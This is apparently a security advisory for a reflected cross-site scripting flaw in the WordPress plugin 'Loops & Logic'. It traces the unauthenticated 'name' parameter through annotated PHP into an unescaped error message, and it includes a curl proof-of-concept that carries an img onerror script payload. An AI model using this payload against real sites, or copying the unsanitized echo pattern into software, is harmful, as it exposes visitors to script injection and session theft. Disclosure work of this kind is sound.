WordPress Loops & Logic - Reflected XSS

A Reflected Cross-Site Scripting vulnerability exists in the Wordpress plugin 'Loops & Logic'

The ‘name’ parameter of the ‘tangible_fields_fetch’ and ‘tangible_fields_store’ actions is used in the response without any filtering, resulting in a reflected XSS vulnerability.

curl http://WORDPRESS/wp-admin/admin-ajax.php?action=tangible_fields_fetch&name=%3cimg+src%3dx+onerror%3dalert%28document.domain%29%3e

All of the vulnerable code is located in 'vendor/tangible/fields/fields/store.php'.

Registration of Unauthenticated Handlers : 

// Line 69-70
add_action( 'wp_ajax_tangible_fields_store', [ $fields, '_ajax_store_callback' ] );
add_action( 'wp_ajax_nopriv_tangible_fields_store', [ $fields, '_ajax_store_callback' ] );

// Line 100-101
add_action( 'wp_ajax_tangible_fields_fetch', [ $fields, '_ajax_fetch_callback' ] );
add_action( 'wp_ajax_nopriv_tangible_fields_fetch', [ $fields, '_ajax_fetch_callback' ] );

The ‘wp_ajax_nopriv_*’ variant makes both actions accessible to visitors who are not logged in.

Unfiltered input :

// Line 73 (store) and Line 104 (fetch)
$name = $_GET['name'] ?? '';

The ‘name’ parameter is read directly from the request, without validation or sanitization.

Injection point (sink) :

// Ligne 75-80 (store), identique en ligne 106-111 (fetch)
if ( ! $field = $fields->get_field( $name ) ) {
  return $fields->__send_ajax( [
    'success' => false,
    'error' => sprintf( __( 'Unknown field %1$s' ), $name ),  // <- $name injected here
  ] );
}

Any ‘name’ that does not correspond to a registered field, that is, any arbitrary value, ends up in this branch. The raw value is included in the error message.

Sending the response

// Ligne 132-143
$fields->__send_ajax = function ( $data, $return = null ) {
  if ( is_null( $return ) ) {
    $return = defined( 'DOING_TANGIBLE_TESTS' ) && DOING_TANGIBLE_TESTS;
  }

  if ( $return ) {
    return $data;
  }

  echo json_encode( $data );  // <- No JSON header; response served as text/html

  exit;
};